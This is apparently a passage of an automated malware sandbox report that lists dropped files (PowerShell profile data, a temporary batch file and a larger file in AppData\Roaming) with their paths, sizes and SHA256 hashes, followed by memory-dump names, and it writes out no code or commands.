                                                                                                                                                                                                                                                                                                          • SHA256 85d8eaa15dd06dbcf4abe45b32b6c74c5811db45fc2f4dc2539611f9a1733a25
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 a72e6f3b5839616e9203ad965d6a27d5e308b18cc11e49d9546d29d43f3a0f2a
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 9ec6f51c7fb8be256e48c5aa1132a0dde55c35b2228044d914e465cc35ff73b3
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 f7b72ebc6221551b32b38558b47d17f235d4a95d27109a961fdac3dfb6a7e1fc
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 30d301efe8eb89ed01c40a35e43d028b6bd1f0644b6d07ce3288c01f3dab7dfd
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 f023e4862492047330df3335a3ff71581abe7bd98b908709b2ea98f3922f9fcd
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 e5b5aba68bdaf1614dfb3fd48b99452a0c7f096f05542d5b1f71e7fd73235379
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 2c0d19c3c93b3fea0a8ef90edcf8976d196c1098c8fded3cec18d3516474d146
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 1de0425b178489efb0af1f9dc1a804de628c9a791bcc064861e1966add43a27e
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 ffd0b14095704c219afdb42d377838c54748dc7241c806ae20849b9aa806f3a4
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 677c458daf238ff86f3a782b6e7d1a1a7a6d9dcb32d6df0721ac4ff4011c9b46
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 3600a0a2508c1a0589062c651a8e93c4844d7711307e1bb02358bbef1ff99278
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 8c3a07cc857b771187ab051e42e52ed1301bf0e51f8d3300cdfe3e52453e5be5
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 6345a1bfbaf723771167bab6c17f135457475c8ab7bf4a47a1e5081fc5099b6c
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                                                                                          • SHA256 9f84029a503d5957df1f588c3c78dfba56526cd37ba404f20ab8e84c760f0767
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          __PSScriptPolicyTest_kbbdegno.nec.ps1
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbbdegno.nec.ps1
                                                                                                                                                                                                                                                                                                          • Size 60B
                                                                                                                                                                                                                                                                                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          tmpBE2B.tmp.bat
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\tmpBE2B.tmp.bat
                                                                                                                                                                                                                                                                                                          • Size 162B
                                                                                                                                                                                                                                                                                                          • SHA256 abfb0ea07a5ffd8c553ef3430bf9e071ca3226ee98d8a00d43a592dbbaa78a2c
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          [email protected]
                                                                                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\[email protected]
                                                                                                                                                                                                                                                                                                          • Size 161KB
                                                                                                                                                                                                                                                                                                          • SHA256 fbac8b5807dcc7b61e4ccc91b9085acc90cacf5add1fc74404881f2bfa7d11c9
                                                                                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                                                                                          memory/2544-18-0x00000178CA6D0000-0x00000178CA746000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download

                                                                                                                                                                                                                                                                                                          memory/2544-17-0x00000178CA600000-0x00000178CA644000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download

                                                                                                                                                                                                                                                                                                          memory/4344-7-0x0000016153BB0000-0x0000016153BD2000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download

                                                                                                                                                                                                                                                                                                          memory/4620-0-0x00000000008B0000-0x00000000008DE000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download

                                                                                                                                                                                                                                                                                                          memory/4620-24-0x0000000006F90000-0x000000000702C000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download

                                                                                                                                                                                                                                                                                                          memory/4620-1-0x0000000005260000-0x0000000005270000-memory.dmp
                                                                                                                                                                                                                                                                                                          Download